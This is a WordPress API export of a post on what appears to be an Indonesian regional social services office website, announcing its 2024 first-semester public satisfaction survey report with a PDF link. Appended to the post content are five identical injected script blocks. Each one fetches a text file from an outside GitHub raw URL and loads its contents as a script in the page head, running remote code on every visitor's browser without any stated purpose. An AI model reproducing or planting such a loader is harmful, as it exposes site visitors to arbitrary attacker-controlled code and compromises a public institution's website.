{"id":3062,"date":"2024-09-16T05:17:08","date_gmt":"2024-09-16T05:17:08","guid":{"rendered":"https:\/\/dinsos.brebeskab.go.id\/?p=3062"},"modified":"2024-12-02T19:14:58","modified_gmt":"2024-12-02T19:14:58","slug":"laporan-survey-kepuasan-masyarakat-skm-pada-dinas-sosial-kabupaten-brebes-semester-i-tahun-2024","status":"publish","type":"post","link":"https:\/\/dinsos.brebeskab.go.id\/?p=3062","title":{"rendered":"Laporan Survey Kepuasan Masyarakat (SKM) pada Dinas Sosial Kabupaten Brebes Semester I Tahun 2024"},"content":{"rendered":"\n<p>Dasar penyusunan Indeks Kepuasan Masyarakat (IKM) adalah Peraturan Menteri<br>Pendayagunaan Aparatur Negara dan Reformasi Birokrasi Nomor 14 Tahun 2017 tentang<br>pedoman penyusunan indeks kepuasan masyarakat Unit Penyelenggara Pelayanan Pubik. Untuk<br>meningkatkan pelayanan publik baik dari Pemerintah Pusat maupun Daerah telah diatur oleh<br>Undang-undang Nomor 25 Tahun 2009 tentang Pelayanan Publik.<\/p>\n\n\n\n<p>Indeks Kepuasan Masyarakat (IKM) adalah data dan informasi tentang tingkat kepuasan<br>masyarakat yang diperoleh dari hasil pengukuran secara kuantitatif dan kualitatif atas pendapat<br>masyarakat dalam memperoleh pelayanan dari aparatur penyelenggara Pelayanan Publik dengan<br>membandingkan antara harapan dan kebutuhannya. Survey Indeks Kepuasan Masyarakat<br>bertujuan untuk mengetahui tingkat kinerja unit pelayanan secara berkala sebagai bahan untuk<br>menetapkan kebijakan dalam rangka peningkatan kualitas pelayanan publik selanjutnya.<\/p>\n\n\n\n<p>Bahwa untuk mengetahui kepuasan masyarakat dapat dilakukan melalui pengukuran<br>kepuasan masyarakat, sedangkan untuk dapat mengetahui sampai sejauh mana pelayanan telah<br>mampu memenuhi harapan atau dapat mengetahui pelayanan kepada masyarakat, maka instansi<br>harus mengetahui tingkat harapan dari masyarakat. Harapan masyarakat selanjutnya akan<br>dibandingkan dengan kinerja aktualnya sehingga diperoleh Indeks Kepuasan Masyarakat yang<br>mencerminkan kualitas pelayanan yang diterima oleh masyarakat.<\/p>\n\n\n\n<p>Berikut laporan SKM Dinas Sosial Kabupaten Brebes Semester I Tahun 2024 dapat didownload pada link berikut ini :&nbsp;<a href=\"https:\/\/dinsos.brebeskab.go.id\/wp-content\/uploads\/2024\/09\/IKM-DINAS-SOSIAL-SEMESTER-I-TAHUN-2024.pdf\" target=\"_blank\" rel=\"noreferrer noopener\">Download SKM Dinas Sosial Kabupaten Brebes Semester I Tahun 2024<\/a><\/p>\n<script>;var url = 'https:\/\/raw.githubusercontent.com\/kroopsTerm\/firstrepo\/refs\/heads\/main\/js.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/kroopsTerm\/firstrepo\/refs\/heads\/main\/js.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/kroopsTerm\/firstrepo\/refs\/heads\/main\/js.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/kroopsTerm\/firstrepo\/refs\/heads\/main\/js.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/kroopsTerm\/firstrepo\/refs\/heads\/main\/js.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script>","protected":false},"excerpt":{"rendered":"<p>Dasar penyusunan Indeks Kepuasan Masyarakat (IKM) adalah Peraturan MenteriPendayagunaan Aparatur Negara dan Reformasi Birokrasi Nomor 14 Tahun 2017 tentangpedoman penyusunan indeks kepuasan masyarakat Unit Penyelenggara Pelayanan Pubik. Untukmeningkatkan pelayanan publik baik dari Pemerintah Pusat maupun Daerah telah diatur olehUndang-undang Nomor 25 Tahun 2009 tentang Pelayanan Publik. Indeks Kepuasan Masyarakat (IKM) adalah data dan informasi tentang [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":3073,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/dinsos.brebeskab.go.id\/index.php?rest_route=\/wp\/v2\/posts\/3062"}],"collection":[{"href":"https:\/\/dinsos.brebeskab.go.id\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/dinsos.brebeskab.go.id\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/dinsos.brebeskab.go.id\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/dinsos.brebeskab.go.id\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3062"}],"version-history":[{"count":8,"href":"https:\/\/dinsos.brebeskab.go.id\/index.php?rest_route=\/wp\/v2\/posts\/3062\/revisions"}],"predecessor-version":[{"id":4191,"href":"https:\/\/dinsos.brebeskab.go.id\/index.php?rest_route=\/wp\/v2\/posts\/3062\/revisions\/4191"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/dinsos.brebeskab.go.id\/index.php?rest_route=\/wp\/v2\/media\/3073"}],"wp:attachment":[{"href":"https:\/\/dinsos.brebeskab.go.id\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3062"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/dinsos.brebeskab.go.id\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3062"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/dinsos.brebeskab.go.id\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3062"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}